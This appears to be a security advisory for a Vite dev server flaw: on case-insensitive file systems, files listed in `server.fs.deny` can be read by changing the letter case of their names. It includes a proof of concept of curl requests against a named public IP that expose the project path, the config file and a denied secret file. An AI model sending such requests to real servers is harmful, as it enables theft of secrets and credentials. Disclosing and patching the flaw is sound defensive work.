### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

### Patches
Fixed in [email protected], [email protected], [email protected], [email protected]

### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.

### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance.
- `npm run dev -- --host 0.0.0.0`
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```

**Reproduction**
1. `curl -s http://20.12.242.81:5173/@fs//`
- Descriptive error page reveals absolute filesystem path to project root
2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
- Discoverable configuration file reveals locations of secrets
3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
- Secrets are directly accessible using case-augmented version of filename

**Proof**

### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive filesystems

**What**
- Files protected by `server.fs.deny` are both discoverable, and accessible
